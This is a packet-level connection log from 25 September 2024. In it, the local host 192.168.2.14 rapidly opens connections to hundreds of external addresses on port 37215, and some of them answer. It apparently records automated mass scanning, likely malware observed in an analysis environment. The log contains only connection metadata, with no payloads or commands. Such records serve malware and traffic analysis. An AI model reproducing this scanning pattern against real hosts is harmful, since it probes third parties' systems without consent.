Sep 25, 2024 14:14:23.452001095 CEST	63353	37215	192.168.2.14	41.189.121.90
Sep 25, 2024 14:14:23.452001095 CEST	63353	37215	192.168.2.14	156.49.251.243
Sep 25, 2024 14:14:23.452004910 CEST	63353	37215	192.168.2.14	156.139.113.112
Sep 25, 2024 14:14:23.452004910 CEST	63353	37215	192.168.2.14	156.61.234.133
Sep 25, 2024 14:14:23.452006102 CEST	63353	37215	192.168.2.14	197.1.213.51
Sep 25, 2024 14:14:23.452009916 CEST	63353	37215	192.168.2.14	156.15.197.7
Sep 25, 2024 14:14:23.452017069 CEST	63353	37215	192.168.2.14	156.90.92.62
Sep 25, 2024 14:14:23.452018023 CEST	63353	37215	192.168.2.14	41.105.247.165
Sep 25, 2024 14:14:23.452017069 CEST	63353	37215	192.168.2.14	197.127.220.57
Sep 25, 2024 14:14:23.452023983 CEST	63353	37215	192.168.2.14	197.232.95.126
Sep 25, 2024 14:14:23.452025890 CEST	63353	37215	192.168.2.14	197.35.13.88
Sep 25, 2024 14:14:23.452032089 CEST	63353	37215	192.168.2.14	197.121.174.162
Sep 25, 2024 14:14:23.452032089 CEST	63353	37215	192.168.2.14	156.244.104.81
Sep 25, 2024 14:14:23.452037096 CEST	63353	37215	192.168.2.14	156.111.192.2
Sep 25, 2024 14:14:23.452044010 CEST	63353	37215	192.168.2.14	41.111.58.201
Sep 25, 2024 14:14:23.452053070 CEST	63353	37215	192.168.2.14	156.14.253.194
Sep 25, 2024 14:14:23.452054977 CEST	63353	37215	192.168.2.14	41.33.144.178
Sep 25, 2024 14:14:23.452059984 CEST	63353	37215	192.168.2.14	156.217.108.99
Sep 25, 2024 14:14:23.452061892 CEST	63353	37215	192.168.2.14	156.40.204.151
Sep 25, 2024 14:14:23.452061892 CEST	63353	37215	192.168.2.14	197.225.44.142
Sep 25, 2024 14:14:23.452061892 CEST	63353	37215	192.168.2.14	197.218.125.226
Sep 25, 2024 14:14:23.452075958 CEST	63353	37215	192.168.2.14	197.209.238.234
Sep 25, 2024 14:14:23.452080965 CEST	63353	37215	192.168.2.14	197.161.85.43
Sep 25, 2024 14:14:23.452083111 CEST	63353	37215	192.168.2.14	156.107.28.198
Sep 25, 2024 14:14:23.452105999 CEST	63353	37215	192.168.2.14	197.51.64.151
Sep 25, 2024 14:14:23.452114105 CEST	63353	37215	192.168.2.14	41.132.73.236
Sep 25, 2024 14:14:23.452106953 CEST	63353	37215	192.168.2.14	197.70.59.168
Sep 25, 2024 14:14:23.452115059 CEST	63353	37215	192.168.2.14	41.57.77.214
Sep 25, 2024 14:14:23.452115059 CEST	63353	37215	192.168.2.14	197.155.52.82
Sep 25, 2024 14:14:23.452106953 CEST	63353	37215	192.168.2.14	41.193.181.224
Sep 25, 2024 14:14:23.452116966 CEST	63353	37215	192.168.2.14	197.195.55.104
Sep 25, 2024 14:14:23.452106953 CEST	63353	37215	192.168.2.14	156.212.3.51
Sep 25, 2024 14:14:23.452116966 CEST	63353	37215	192.168.2.14	197.44.117.206
Sep 25, 2024 14:14:23.452135086 CEST	63353	37215	192.168.2.14	197.110.199.160
Sep 25, 2024 14:14:23.452136993 CEST	63353	37215	192.168.2.14	197.200.47.127
Sep 25, 2024 14:14:23.452136993 CEST	63353	37215	192.168.2.14	41.189.136.213
Sep 25, 2024 14:14:23.452140093 CEST	63353	37215	192.168.2.14	41.83.246.6
Sep 25, 2024 14:14:23.452297926 CEST	58854	37215	192.168.2.14	197.42.126.28
Sep 25, 2024 14:14:23.452310085 CEST	49574	37215	192.168.2.14	41.230.144.206
Sep 25, 2024 14:14:23.452310085 CEST	49574	37215	192.168.2.14	41.230.144.206
Sep 25, 2024 14:14:23.452943087 CEST	49682	37215	192.168.2.14	41.230.144.206
Sep 25, 2024 14:14:23.453630924 CEST	56692	37215	192.168.2.14	41.108.113.130
Sep 25, 2024 14:14:23.453630924 CEST	56692	37215	192.168.2.14	41.108.113.130
Sep 25, 2024 14:14:23.454271078 CEST	56792	37215	192.168.2.14	41.108.113.130
Sep 25, 2024 14:14:23.455125093 CEST	41032	37215	192.168.2.14	197.41.219.139
Sep 25, 2024 14:14:23.455125093 CEST	41032	37215	192.168.2.14	197.41.219.139
Sep 25, 2024 14:14:23.455800056 CEST	41132	37215	192.168.2.14	197.41.219.139
Sep 25, 2024 14:14:23.456667900 CEST	51684	37215	192.168.2.14	156.197.93.125
Sep 25, 2024 14:14:23.456667900 CEST	51684	37215	192.168.2.14	156.197.93.125
Sep 25, 2024 14:14:23.456878901 CEST	37215	63353	156.107.216.86	192.168.2.14
Sep 25, 2024 14:14:23.456888914 CEST	37215	63353	41.185.217.106	192.168.2.14
Sep 25, 2024 14:14:23.456907988 CEST	37215	63353	41.251.54.51	192.168.2.14
Sep 25, 2024 14:14:23.456917048 CEST	37215	63353	41.164.43.67	192.168.2.14
Sep 25, 2024 14:14:23.456922054 CEST	63353	37215	192.168.2.14	156.107.216.86
Sep 25, 2024 14:14:23.456926107 CEST	37215	63353	41.113.152.50	192.168.2.14
Sep 25, 2024 14:14:23.456928968 CEST	63353	37215	192.168.2.14	41.185.217.106
Sep 25, 2024 14:14:23.456944942 CEST	37215	63353	156.207.227.232	192.168.2.14
Sep 25, 2024 14:14:23.456945896 CEST	63353	37215	192.168.2.14	41.251.54.51
Sep 25, 2024 14:14:23.456955910 CEST	37215	63353	156.238.211.38	192.168.2.14
Sep 25, 2024 14:14:23.456957102 CEST	63353	37215	192.168.2.14	41.164.43.67
Sep 25, 2024 14:14:23.456957102 CEST	63353	37215	192.168.2.14	41.113.152.50
Sep 25, 2024 14:14:23.456964016 CEST	37215	63353	156.17.146.209	192.168.2.14
Sep 25, 2024 14:14:23.456974030 CEST	37215	63353	197.27.230.23	192.168.2.14
Sep 25, 2024 14:14:23.456980944 CEST	63353	37215	192.168.2.14	156.207.227.232
Sep 25, 2024 14:14:23.456985950 CEST	37215	63353	41.201.186.158	192.168.2.14
Sep 25, 2024 14:14:23.456995010 CEST	37215	63353	41.49.22.2	192.168.2.14
Sep 25, 2024 14:14:23.456999063 CEST	63353	37215	192.168.2.14	156.238.211.38
Sep 25, 2024 14:14:23.456999063 CEST	63353	37215	192.168.2.14	156.17.146.209
Sep 25, 2024 14:14:23.457005978 CEST	37215	63353	156.190.191.80	192.168.2.14
Sep 25, 2024 14:14:23.457016945 CEST	63353	37215	192.168.2.14	197.27.230.23
Sep 25, 2024 14:14:23.457016945 CEST	63353	37215	192.168.2.14	41.201.186.158
Sep 25, 2024 14:14:23.457042933 CEST	63353	37215	192.168.2.14	41.49.22.2
Sep 25, 2024 14:14:23.457045078 CEST	63353	37215	192.168.2.14	156.190.191.80
Sep 25, 2024 14:14:23.457046032 CEST	37215	63353	156.67.103.139	192.168.2.14
Sep 25, 2024 14:14:23.457056046 CEST	37215	63353	197.56.33.39	192.168.2.14
Sep 25, 2024 14:14:23.457066059 CEST	37215	63353	41.29.250.212	192.168.2.14
Sep 25, 2024 14:14:23.457077026 CEST	37215	63353	41.72.103.157	192.168.2.14
Sep 25, 2024 14:14:23.457092047 CEST	63353	37215	192.168.2.14	197.56.33.39
Sep 25, 2024 14:14:23.457096100 CEST	63353	37215	192.168.2.14	156.67.103.139
Sep 25, 2024 14:14:23.457108021 CEST	63353	37215	192.168.2.14	41.72.103.157
Sep 25, 2024 14:14:23.457115889 CEST	63353	37215	192.168.2.14	41.29.250.212
Sep 25, 2024 14:14:23.457273960 CEST	51778	37215	192.168.2.14	156.197.93.125
Sep 25, 2024 14:14:23.457369089 CEST	37215	63353	197.249.186.40	192.168.2.14
Sep 25, 2024 14:14:23.457379103 CEST	37215	63353	156.144.65.65	192.168.2.14
Sep 25, 2024 14:14:23.457389116 CEST	37215	63353	41.114.111.77	192.168.2.14
Sep 25, 2024 14:14:23.457400084 CEST	37215	63353	156.11.173.165	192.168.2.14
Sep 25, 2024 14:14:23.457403898 CEST	63353	37215	192.168.2.14	197.249.186.40
Sep 25, 2024 14:14:23.457406998 CEST	63353	37215	192.168.2.14	156.144.65.65
Sep 25, 2024 14:14:23.457408905 CEST	37215	63353	41.236.13.158	192.168.2.14
Sep 25, 2024 14:14:23.457429886 CEST	37215	63353	41.80.213.82	192.168.2.14
Sep 25, 2024 14:14:23.457436085 CEST	63353	37215	192.168.2.14	41.114.111.77
Sep 25, 2024 14:14:23.457437038 CEST	63353	37215	192.168.2.14	41.236.13.158
Sep 25, 2024 14:14:23.457437992 CEST	63353	37215	192.168.2.14	156.11.173.165
Sep 25, 2024 14:14:23.457441092 CEST	37215	63353	197.23.19.49	192.168.2.14
Sep 25, 2024 14:14:23.457452059 CEST	37215	63353	156.176.40.23	192.168.2.14
Sep 25, 2024 14:14:23.457461119 CEST	37215	63353	156.84.236.81	192.168.2.14
Sep 25, 2024 14:14:23.457469940 CEST	37215	63353	41.157.39.229	192.168.2.14
Sep 25, 2024 14:14:23.457475901 CEST	63353	37215	192.168.2.14	41.80.213.82
Sep 25, 2024 14:14:23.457479000 CEST	37215	63353	156.60.17.130	192.168.2.14
Sep 25, 2024 14:14:23.457485914 CEST	63353	37215	192.168.2.14	156.84.236.81
Sep 25, 2024 14:14:23.457487106 CEST	63353	37215	192.168.2.14	197.23.19.49
Sep 25, 2024 14:14:23.457489014 CEST	37215	63353	41.66.16.76	192.168.2.14
Sep 25, 2024 14:14:23.457496881 CEST	63353	37215	192.168.2.14	156.176.40.23
Sep 25, 2024 14:14:23.457498074 CEST	63353	37215	192.168.2.14	41.157.39.229
Sep 25, 2024 14:14:23.457509995 CEST	37215	63353	197.117.76.193	192.168.2.14
Sep 25, 2024 14:14:23.457520008 CEST	37215	63353	41.65.43.211	192.168.2.14
Sep 25, 2024 14:14:23.457524061 CEST	63353	37215	192.168.2.14	156.60.17.130
Sep 25, 2024 14:14:23.457525015 CEST	63353	37215	192.168.2.14	41.66.16.76
Sep 25, 2024 14:14:23.457530022 CEST	37215	63353	197.18.20.241	192.168.2.14
Sep 25, 2024 14:14:23.457539082 CEST	37215	63353	41.118.254.51	192.168.2.14
Sep 25, 2024 14:14:23.457542896 CEST	63353	37215	192.168.2.14	197.117.76.193
Sep 25, 2024 14:14:23.457551003 CEST	37215	63353	156.12.35.216	192.168.2.14
Sep 25, 2024 14:14:23.457561016 CEST	63353	37215	192.168.2.14	197.18.20.241
Sep 25, 2024 14:14:23.457561970 CEST	37215	63353	197.71.196.14	192.168.2.14
Sep 25, 2024 14:14:23.457562923 CEST	63353	37215	192.168.2.14	41.118.254.51
Sep 25, 2024 14:14:23.457571983 CEST	37215	63353	156.188.5.100	192.168.2.14
Sep 25, 2024 14:14:23.457578897 CEST	63353	37215	192.168.2.14	41.65.43.211
Sep 25, 2024 14:14:23.457582951 CEST	37215	63353	156.194.139.1	192.168.2.14
Sep 25, 2024 14:14:23.457583904 CEST	63353	37215	192.168.2.14	156.12.35.216
Sep 25, 2024 14:14:23.457586050 CEST	63353	37215	192.168.2.14	197.71.196.14
Sep 25, 2024 14:14:23.457592964 CEST	37215	63353	156.175.36.235	192.168.2.14
Sep 25, 2024 14:14:23.457618952 CEST	63353	37215	192.168.2.14	156.188.5.100
Sep 25, 2024 14:14:23.457627058 CEST	63353	37215	192.168.2.14	156.194.139.1
Sep 25, 2024 14:14:23.457627058 CEST	63353	37215	192.168.2.14	156.175.36.235
Sep 25, 2024 14:14:23.457664013 CEST	37215	63353	197.186.2.97	192.168.2.14
Sep 25, 2024 14:14:23.457674980 CEST	37215	63353	197.189.126.49	192.168.2.14
Sep 25, 2024 14:14:23.457684040 CEST	37215	63353	41.7.135.121	192.168.2.14
Sep 25, 2024 14:14:23.457694054 CEST	37215	63353	197.231.214.166	192.168.2.14
Sep 25, 2024 14:14:23.457703114 CEST	37215	63353	197.190.127.207	192.168.2.14
Sep 25, 2024 14:14:23.457704067 CEST	63353	37215	192.168.2.14	41.7.135.121
Sep 25, 2024 14:14:23.457709074 CEST	63353	37215	192.168.2.14	197.189.126.49
Sep 25, 2024 14:14:23.457710028 CEST	63353	37215	192.168.2.14	197.186.2.97
Sep 25, 2024 14:14:23.457720995 CEST	37215	63353	156.189.199.179	192.168.2.14
Sep 25, 2024 14:14:23.457721949 CEST	63353	37215	192.168.2.14	197.231.214.166
Sep 25, 2024 14:14:23.457731009 CEST	63353	37215	192.168.2.14	197.190.127.207
Sep 25, 2024 14:14:23.457731962 CEST	37215	63353	197.10.195.1	192.168.2.14
Sep 25, 2024 14:14:23.457742929 CEST	37215	63353	197.145.224.15	192.168.2.14
Sep 25, 2024 14:14:23.457752943 CEST	37215	63353	197.219.43.34	192.168.2.14
Sep 25, 2024 14:14:23.457756996 CEST	63353	37215	192.168.2.14	156.189.199.179
Sep 25, 2024 14:14:23.457762957 CEST	37215	63353	41.4.56.229	192.168.2.14
Sep 25, 2024 14:14:23.457772970 CEST	37215	49574	41.230.144.206	192.168.2.14
Sep 25, 2024 14:14:23.457772970 CEST	63353	37215	192.168.2.14	197.10.195.1
Sep 25, 2024 14:14:23.457773924 CEST	63353	37215	192.168.2.14	197.145.224.15
Sep 25, 2024 14:14:23.457781076 CEST	63353	37215	192.168.2.14	197.219.43.34
Sep 25, 2024 14:14:23.457791090 CEST	37215	58854	197.42.126.28	192.168.2.14
Sep 25, 2024 14:14:23.457803965 CEST	63353	37215	192.168.2.14	41.4.56.229
Sep 25, 2024 14:14:23.458003998 CEST	50030	37215	192.168.2.14	156.60.202.13
Sep 25, 2024 14:14:23.458012104 CEST	54234	37215	192.168.2.14	156.9.49.199
Sep 25, 2024 14:14:23.458012104 CEST	54234	37215	192.168.2.14	156.9.49.199
Sep 25, 2024 14:14:23.458242893 CEST	37215	58854	197.42.126.28	192.168.2.14
Sep 25, 2024 14:14:23.458277941 CEST	58854	37215	192.168.2.14	197.42.126.28
Sep 25, 2024 14:14:23.458348989 CEST	54318	37215	192.168.2.14	156.9.49.199
Sep 25, 2024 14:14:23.458529949 CEST	37215	56692	41.108.113.130	192.168.2.14
Sep 25, 2024 14:14:23.458693027 CEST	41736	37215	192.168.2.14	197.176.242.81
Sep 25, 2024 14:14:23.458693027 CEST	35646	37215	192.168.2.14	41.176.71.4
Sep 25, 2024 14:14:23.458712101 CEST	52264	37215	192.168.2.14	197.42.40.6
Sep 25, 2024 14:14:23.458719969 CEST	52264	37215	192.168.2.14	197.42.40.6
Sep 25, 2024 14:14:23.459067106 CEST	52348	37215	192.168.2.14	197.42.40.6
Sep 25, 2024 14:14:23.459872961 CEST	46250	37215	192.168.2.14	156.107.216.86
Sep 25, 2024 14:14:23.460019112 CEST	37215	41032	197.41.219.139	192.168.2.14
Sep 25, 2024 14:14:23.460673094 CEST	34250	37215	192.168.2.14	41.185.217.106
Sep 25, 2024 14:14:23.461530924 CEST	38284	37215	192.168.2.14	41.251.54.51
Sep 25, 2024 14:14:23.461607933 CEST	37215	51684	156.197.93.125	192.168.2.14
Sep 25, 2024 14:14:23.462349892 CEST	33476	37215	192.168.2.14	41.164.43.67
Sep 25, 2024 14:14:23.463001966 CEST	37215	54234	156.9.49.199	192.168.2.14
Sep 25, 2024 14:14:23.463011026 CEST	37215	50030	156.60.202.13	192.168.2.14
Sep 25, 2024 14:14:23.463076115 CEST	50030	37215	192.168.2.14	156.60.202.13
Sep 25, 2024 14:14:23.463114977 CEST	44664	37215	192.168.2.14	41.113.152.50
Sep 25, 2024 14:14:23.463489056 CEST	37215	41736	197.176.242.81	192.168.2.14
Sep 25, 2024 14:14:23.463531017 CEST	41736	37215	192.168.2.14	197.176.242.81
Sep 25, 2024 14:14:23.463613033 CEST	37215	52264	197.42.40.6	192.168.2.14
Sep 25, 2024 14:14:23.463624001 CEST	37215	35646	41.176.71.4	192.168.2.14
Sep 25, 2024 14:14:23.463675976 CEST	35646	37215	192.168.2.14	41.176.71.4
Sep 25, 2024 14:14:23.463876009 CEST	37242	37215	192.168.2.14	156.207.227.232
Sep 25, 2024 14:14:23.464925051 CEST	44158	37215	192.168.2.14	156.238.211.38
Sep 25, 2024 14:14:23.466095924 CEST	50064	37215	192.168.2.14	156.17.146.209
Sep 25, 2024 14:14:23.467454910 CEST	52972	37215	192.168.2.14	197.27.230.23
Sep 25, 2024 14:14:23.468599081 CEST	37215	37242	156.207.227.232	192.168.2.14
Sep 25, 2024 14:14:23.468643904 CEST	37242	37215	192.168.2.14	156.207.227.232
Sep 25, 2024 14:14:23.468997955 CEST	39572	37215	192.168.2.14	41.201.186.158
Sep 25, 2024 14:14:23.470267057 CEST	52732	37215	192.168.2.14	41.197.196.94
Sep 25, 2024 14:14:23.470267057 CEST	52732	37215	192.168.2.14	41.197.196.94
Sep 25, 2024 14:14:23.470666885 CEST	52878	37215	192.168.2.14	41.197.196.94
Sep 25, 2024 14:14:23.471560955 CEST	51130	37215	192.168.2.14	156.187.27.147
Sep 25, 2024 14:14:23.471560955 CEST	51130	37215	192.168.2.14	156.187.27.147
Sep 25, 2024 14:14:23.472179890 CEST	51276	37215	192.168.2.14	156.187.27.147
Sep 25, 2024 14:14:23.472811937 CEST	34922	37215	192.168.2.14	156.217.168.64
Sep 25, 2024 14:14:23.472811937 CEST	34922	37215	192.168.2.14	156.217.168.64
Sep 25, 2024 14:14:23.473438025 CEST	35068	37215	192.168.2.14	156.217.168.64
Sep 25, 2024 14:14:23.474013090 CEST	45144	37215	192.168.2.14	197.127.121.218
Sep 25, 2024 14:14:23.474029064 CEST	45144	37215	192.168.2.14	197.127.121.218
Sep 25, 2024 14:14:23.474787951 CEST	45288	37215	192.168.2.14	197.127.121.218
Sep 25, 2024 14:14:23.475291014 CEST	37215	52732	41.197.196.94	192.168.2.14
Sep 25, 2024 14:14:23.475732088 CEST	50626	37215	192.168.2.14	156.133.190.48
Sep 25, 2024 14:14:23.475732088 CEST	50626	37215	192.168.2.14	156.133.190.48
Sep 25, 2024 14:14:23.476227999 CEST	50770	37215	192.168.2.14	156.133.190.48
Sep 25, 2024 14:14:23.476485014 CEST	37215	51130	156.187.27.147	192.168.2.14
Sep 25, 2024 14:14:23.476964951 CEST	37215	51276	156.187.27.147	192.168.2.14
Sep 25, 2024 14:14:23.477006912 CEST	58326	37215	192.168.2.14	41.164.93.141
Sep 25, 2024 14:14:23.477006912 CEST	58326	37215	192.168.2.14	41.164.93.141
Sep 25, 2024 14:14:23.477010965 CEST	51276	37215	192.168.2.14	156.187.27.147
Sep 25, 2024 14:14:23.477552891 CEST	58470	37215	192.168.2.14	41.164.93.141
Sep 25, 2024 14:14:23.477631092 CEST	37215	34922	156.217.168.64	192.168.2.14
Sep 25, 2024 14:14:23.477755070 CEST	52350	37215	192.168.2.14	156.138.102.107
Sep 25, 2024 14:14:23.477756023 CEST	58602	37215	192.168.2.14	197.198.163.194
Sep 25, 2024 14:14:23.477756023 CEST	55088	37215	192.168.2.14	156.63.107.70
Sep 25, 2024 14:14:23.477771044 CEST	34316	37215	192.168.2.14	197.190.69.137
Sep 25, 2024 14:14:23.477773905 CEST	56090	37215	192.168.2.14	197.103.80.54
Sep 25, 2024 14:14:23.477776051 CEST	55028	37215	192.168.2.14	156.152.3.117
Sep 25, 2024 14:14:23.477777004 CEST	43854	37215	192.168.2.14	41.117.24.187
Sep 25, 2024 14:14:23.477777004 CEST	45678	37215	192.168.2.14	156.160.112.195
Sep 25, 2024 14:14:23.477788925 CEST	45922	37215	192.168.2.14	156.22.33.252
Sep 25, 2024 14:14:23.477791071 CEST	44766	37215	192.168.2.14	197.30.224.191
Sep 25, 2024 14:14:23.478259087 CEST	34458	37215	192.168.2.14	41.66.249.255
Sep 25, 2024 14:14:23.478259087 CEST	34458	37215	192.168.2.14	41.66.249.255
Sep 25, 2024 14:14:23.478919029 CEST	37215	45144	197.127.121.218	192.168.2.14
Sep 25, 2024 14:14:23.479077101 CEST	34602	37215	192.168.2.14	41.66.249.255
Sep 25, 2024 14:14:23.480149984 CEST	39380	37215	192.168.2.14	156.10.201.221
Sep 25, 2024 14:14:23.480149984 CEST	39380	37215	192.168.2.14	156.10.201.221
Sep 25, 2024 14:14:23.480559111 CEST	37215	50626	156.133.190.48	192.168.2.14
Sep 25, 2024 14:14:23.481476068 CEST	39520	37215	192.168.2.14	156.10.201.221
Sep 25, 2024 14:14:23.481977940 CEST	37215	58326	41.164.93.141	192.168.2.14
Sep 25, 2024 14:14:23.482544899 CEST	35666	37215	192.168.2.14	156.247.181.3
Sep 25, 2024 14:14:23.482544899 CEST	35666	37215	192.168.2.14	156.247.181.3
Sep 25, 2024 14:14:23.483295918 CEST	37215	34458	41.66.249.255	192.168.2.14
Sep 25, 2024 14:14:23.483398914 CEST	35806	37215	192.168.2.14	156.247.181.3
Sep 25, 2024 14:14:23.485084057 CEST	37215	39380	156.10.201.221	192.168.2.14
Sep 25, 2024 14:14:23.485413074 CEST	43676	37215	192.168.2.14	41.183.69.4
Sep 25, 2024 14:14:23.485413074 CEST	43676	37215	192.168.2.14	41.183.69.4
Sep 25, 2024 14:14:23.486593008 CEST	43816	37215	192.168.2.14	41.183.69.4
Sep 25, 2024 14:14:23.487411976 CEST	37215	35666	156.247.181.3	192.168.2.14
Sep 25, 2024 14:14:23.487636089 CEST	58800	37215	192.168.2.14	156.184.32.219
Sep 25, 2024 14:14:23.487636089 CEST	58800	37215	192.168.2.14	156.184.32.219
Sep 25, 2024 14:14:23.488389015 CEST	37215	35806	156.247.181.3	192.168.2.14
Sep 25, 2024 14:14:23.488434076 CEST	35806	37215	192.168.2.14	156.247.181.3
Sep 25, 2024 14:14:23.488488913 CEST	58938	37215	192.168.2.14	156.184.32.219
Sep 25, 2024 14:14:23.489353895 CEST	34160	37215	192.168.2.14	156.54.131.208
Sep 25, 2024 14:14:23.489353895 CEST	34160	37215	192.168.2.14	156.54.131.208
Sep 25, 2024 14:14:23.490061998 CEST	34298	37215	192.168.2.14	156.54.131.208
Sep 25, 2024 14:14:23.490510941 CEST	37215	43676	41.183.69.4	192.168.2.14
Sep 25, 2024 14:14:23.491892099 CEST	33842	37215	192.168.2.14	41.205.222.194
Sep 25, 2024 14:14:23.491892099 CEST	33842	37215	192.168.2.14	41.205.222.194
Sep 25, 2024 14:14:23.492696047 CEST	37215	58800	156.184.32.219	192.168.2.14
Sep 25, 2024 14:14:23.492810965 CEST	33980	37215	192.168.2.14	41.205.222.194
Sep 25, 2024 14:14:23.493859053 CEST	60604	37215	192.168.2.14	197.146.211.230
Sep 25, 2024 14:14:23.493859053 CEST	60604	37215	192.168.2.14	197.146.211.230
Sep 25, 2024 14:14:23.494353056 CEST	60742	37215	192.168.2.14	197.146.211.230
Sep 25, 2024 14:14:23.494373083 CEST	37215	34160	156.54.131.208	192.168.2.14
Sep 25, 2024 14:14:23.495318890 CEST	51276	37215	192.168.2.14	156.187.27.147
Sep 25, 2024 14:14:23.495321035 CEST	35806	37215	192.168.2.14	156.247.181.3
Sep 25, 2024 14:14:23.495322943 CEST	37242	37215	192.168.2.14	156.207.227.232
Sep 25, 2024 14:14:23.495332956 CEST	37242	37215	192.168.2.14	156.207.227.232
Sep 25, 2024 14:14:23.495687962 CEST	37280	37215	192.168.2.14	156.207.227.232
Sep 25, 2024 14:14:23.496838093 CEST	37215	33842	41.205.222.194	192.168.2.14
Sep 25, 2024 14:14:23.497692108 CEST	37215	33980	41.205.222.194	192.168.2.14
Sep 25, 2024 14:14:23.497745991 CEST	37215	49574	41.230.144.206	192.168.2.14
Sep 25, 2024 14:14:23.497745991 CEST	33980	37215	192.168.2.14	41.205.222.194
Sep 25, 2024 14:14:23.497786045 CEST	58298	37215	192.168.2.14	156.67.103.139
Sep 25, 2024 14:14:23.498754978 CEST	37215	60604	197.146.211.230	192.168.2.14
Sep 25, 2024 14:14:23.499097109 CEST	56766	37215	192.168.2.14	197.56.33.39
Sep 25, 2024 14:14:23.499825001 CEST	33980	37215	192.168.2.14	41.205.222.194
Sep 25, 2024 14:14:23.500272989 CEST	37215	35806	156.247.181.3	192.168.2.14
Sep 25, 2024 14:14:23.500303984 CEST	37215	37242	156.207.227.232	192.168.2.14
Sep 25, 2024 14:14:23.500319004 CEST	35806	37215	192.168.2.14	156.247.181.3
Sep 25, 2024 14:14:23.500366926 CEST	49716	37215	192.168.2.14	41.72.103.157
Sep 25, 2024 14:14:23.500557899 CEST	37215	51276	156.187.27.147	192.168.2.14
Sep 25, 2024 14:14:23.500600100 CEST	51276	37215	192.168.2.14	156.187.27.147
Sep 25, 2024 14:14:23.505466938 CEST	37215	33980	41.205.222.194	192.168.2.14
Sep 25, 2024 14:14:23.505512953 CEST	33980	37215	192.168.2.14	41.205.222.194
Sep 25, 2024 14:14:23.505795956 CEST	37215	41032	197.41.219.139	192.168.2.14
Sep 25, 2024 14:14:23.505805969 CEST	37215	51684	156.197.93.125	192.168.2.14
Sep 25, 2024 14:14:23.505814075 CEST	37215	56692	41.108.113.130	192.168.2.14
Sep 25, 2024 14:14:23.505844116 CEST	37215	52264	197.42.40.6	192.168.2.14
Sep 25, 2024 14:14:23.505857944 CEST	37215	54234	156.9.49.199	192.168.2.14
Sep 25, 2024 14:14:23.521794081 CEST	37215	51130	156.187.27.147	192.168.2.14
Sep 25, 2024 14:14:23.521807909 CEST	37215	52732	41.197.196.94	192.168.2.14
Sep 25, 2024 14:14:23.521816969 CEST	37215	50626	156.133.190.48	192.168.2.14
Sep 25, 2024 14:14:23.521828890 CEST	37215	45144	197.127.121.218	192.168.2.14
Sep 25, 2024 14:14:23.521840096 CEST	37215	34922	156.217.168.64	192.168.2.14
Sep 25, 2024 14:14:23.525846958 CEST	37215	34458	41.66.249.255	192.168.2.14
Sep 25, 2024 14:14:23.525859118 CEST	37215	58326	41.164.93.141	192.168.2.14
Sep 25, 2024 14:14:23.529846907 CEST	37215	35666	156.247.181.3	192.168.2.14
Sep 25, 2024 14:14:23.529880047 CEST	37215	39380	156.10.201.221	192.168.2.14
Sep 25, 2024 14:14:23.537828922 CEST	37215	58800	156.184.32.219	192.168.2.14
Sep 25, 2024 14:14:23.537841082 CEST	37215	43676	41.183.69.4	192.168.2.14
Sep 25, 2024 14:14:23.541910887 CEST	37215	33842	41.205.222.194	192.168.2.14
Sep 25, 2024 14:14:23.541919947 CEST	37215	34160	156.54.131.208	192.168.2.14
Sep 25, 2024 14:14:23.541929960 CEST	37215	37242	156.207.227.232	192.168.2.14
Sep 25, 2024 14:14:23.541939020 CEST	37215	60604	197.146.211.230	192.168.2.14
Sep 25, 2024 14:14:23.733748913 CEST	36754	37215	192.168.2.14	41.30.124.221
Sep 25, 2024 14:14:23.733758926 CEST	57050	37215	192.168.2.14	41.164.189.192
Sep 25, 2024 14:14:23.733758926 CEST	52376	37215	192.168.2.14	156.129.236.212
Sep 25, 2024 14:14:23.733758926 CEST	48676	37215	192.168.2.14	156.223.233.239
Sep 25, 2024 14:14:23.733761072 CEST	42718	37215	192.168.2.14	41.248.146.253
Sep 25, 2024 14:14:23.733767033 CEST	50510	37215	192.168.2.14	41.85.21.208
Sep 25, 2024 14:14:23.733771086 CEST	42772	37215	192.168.2.14	156.54.30.158
Sep 25, 2024 14:14:23.733771086 CEST	56178	37215	192.168.2.14	197.31.136.188
Sep 25, 2024 14:14:23.733771086 CEST	53772	37215	192.168.2.14	41.166.234.180
Sep 25, 2024 14:14:23.733795881 CEST	38716	37215	192.168.2.14	197.76.158.67
Sep 25, 2024 14:14:23.733803988 CEST	34058	37215	192.168.2.14	41.91.77.103
Sep 25, 2024 14:14:23.733803988 CEST	37310	37215	192.168.2.14	197.11.43.164
Sep 25, 2024 14:14:23.733815908 CEST	50910	37215	192.168.2.14	41.37.99.107
Sep 25, 2024 14:14:23.733819008 CEST	53512	37215	192.168.2.14	41.241.4.209
Sep 25, 2024 14:14:23.733818054 CEST	54092	37215	192.168.2.14	197.139.168.250
Sep 25, 2024 14:14:23.733822107 CEST	49656	37215	192.168.2.14	156.120.144.233
Sep 25, 2024 14:14:23.733822107 CEST	49252	37215	192.168.2.14	197.179.163.209
Sep 25, 2024 14:14:23.738821030 CEST	37215	57050	41.164.189.192	192.168.2.14
Sep 25, 2024 14:14:23.738836050 CEST	37215	36754	41.30.124.221	192.168.2.14
Sep 25, 2024 14:14:23.738847017 CEST	37215	42772	156.54.30.158	192.168.2.14
Sep 25, 2024 14:14:23.738859892 CEST	37215	56178	197.31.136.188	192.168.2.14
Sep 25, 2024 14:14:23.738871098 CEST	37215	53772	41.166.234.180	192.168.2.14
Sep 25, 2024 14:14:23.738881111 CEST	37215	42718	41.248.146.253	192.168.2.14
Sep 25, 2024 14:14:23.738890886 CEST	37215	52376	156.129.236.212	192.168.2.14
Sep 25, 2024 14:14:23.738899946 CEST	37215	50510	41.85.21.208	192.168.2.14
Sep 25, 2024 14:14:23.738903046 CEST	36754	37215	192.168.2.14	41.30.124.221
Sep 25, 2024 14:14:23.738903999 CEST	57050	37215	192.168.2.14	41.164.189.192
Sep 25, 2024 14:14:23.738907099 CEST	42772	37215	192.168.2.14	156.54.30.158
Sep 25, 2024 14:14:23.738908052 CEST	56178	37215	192.168.2.14	197.31.136.188
Sep 25, 2024 14:14:23.738908052 CEST	53772	37215	192.168.2.14	41.166.234.180
Sep 25, 2024 14:14:23.738914967 CEST	42718	37215	192.168.2.14	41.248.146.253
Sep 25, 2024 14:14:23.738925934 CEST	52376	37215	192.168.2.14	156.129.236.212
Sep 25, 2024 14:14:23.738929033 CEST	50510	37215	192.168.2.14	41.85.21.208
Sep 25, 2024 14:14:23.739018917 CEST	53772	37215	192.168.2.14	41.166.234.180
Sep 25, 2024 14:14:23.739028931 CEST	50510	37215	192.168.2.14	41.85.21.208
Sep 25, 2024 14:14:23.739037991 CEST	56178	37215	192.168.2.14	197.31.136.188
Sep 25, 2024 14:14:23.739037991 CEST	42772	37215	192.168.2.14	156.54.30.158
